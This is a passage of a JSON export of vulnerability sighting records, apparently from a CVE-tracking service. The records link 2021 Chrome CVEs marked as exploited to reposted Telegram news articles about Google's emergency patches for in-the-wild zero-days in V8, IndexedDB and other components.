update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T12:00:04.022052Z"}, {"uuid": "5fa49a3d-c127-4aa6-a36d-72278e51480a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "exploited", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T12:00:04.176087Z"}, {"uuid": "44977650-bbc2-432f-8646-d3bb0b8757a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30630", "type": "exploited", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-07T16:00:06.019622Z"}, {"uuid": "ccab443a-987c-498b-9e84-3b52d8cb8363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-07T16:00:06.072997Z"}, {"uuid": "383aa380-80b7-4b0b-8ec9-62a4d3637795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "exploited", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-07T16:00:06.127187Z"}, {"uuid": "f3f0f1d2-7c6e-4c7e-ad1f-ca204ca88828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30631", "type": "exploited", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-07T16:00:06.386073Z"}, {"uuid": "e4e09a66-36ac-4138-92e3-3197c8dd5ee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "exploited", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-08T00:00:40.577730Z"}, {"uuid": "e82ae191-d44b-40c4-9075-031902979b3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30631", "type": "exploited", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-08T00:00:40.892203Z"}, {"uuid": "ff41602f-9fae-4c23-9896-d5cf10002a48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng 